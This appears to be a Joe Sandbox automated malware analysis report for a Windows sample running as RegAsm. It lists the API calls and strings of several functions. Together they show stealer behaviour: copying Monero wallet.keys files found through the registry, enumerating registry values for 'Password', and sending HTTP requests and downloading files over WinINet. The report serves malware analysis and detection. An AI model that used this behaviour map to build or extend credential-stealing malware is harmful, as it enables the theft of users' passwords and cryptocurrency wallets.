Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404A0D
", xrefs: 00404D83
------, xrefs: 00404CB9
------, xrefs: 00404B78
", xrefs: 00404C42

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,00F83C20), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,00F82B98,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406457
ERROR, xrefs: 00406519

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415329
ERROR, xrefs: 00415173
ERROR, xrefs: 00415116
ERROR, xrefs: 004154DE
ERROR, xrefs: 0041525D
ERROR, xrefs: 00415412

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00410DE0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410E17
strtok_s.MSVCRT ref: 00411260

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 5681baca44479edad4815839ee0f5985e846549ff3984511cd583c41c31b2efb
Instruction ID: 43f8ac416cb9b823db2283ba99bf4afb511f8f06efa02481fc3f2e7b5d6f774f
Opcode Fuzzy Hash: 5681baca44479edad4815839ee0f5985e846549ff3984511cd583c41c31b2efb
Instruction Fuzzy Hash: B5C1C4B1900219ABCB14EF60DC89FDA7378BB64308F0045DEF50AA7251EA74AAD5CF95

Function 00417DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,00F76300,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

- , xrefs: 00418043
%s\%s, xrefs: 00417EED
?, xrefs: 00417E1A

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00F82ED8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001,00000000,?,00F824B0,?,00000000,\Monero\wallet.keys,00420DFF), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocHeapLocallstrlenmemset$ChangeCloseCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3176097180-218353709
Opcode ID: ec9732790605a5fb6656f37a3055b5cecb994ebe7b268cac74ed50b771da62cd
Instruction ID: bfea20b6600c428529f3422beda191dc2af483910fc9e2ed9153edefc7c4a0fd
Opcode Fuzzy Hash: ec9732790605a5fb6656f37a3055b5cecb994ebe7b268cac74ed50b771da62cd
Instruction Fuzzy Hash: 3C5163B1D5011867CB14EB61DC96BED733CAF50314F4041ADB60A62092EE786BD9CBAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,00F83C20), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2
q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(33301020,004217A0), ref: 00407646
lstrcat.KERNEL32(33301020,00000000), ref: 00407688
lstrcat.KERNEL32(33301020, : ), ref: 0040769A
lstrcat.KERNEL32(33301020,00000000), ref: 004076CF
lstrcat.KERNEL32(33301020,004217A8), ref: 004076E0
lstrcat.KERNEL32(33301020,00000000), ref: 00407713
lstrcat.KERNEL32(33301020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
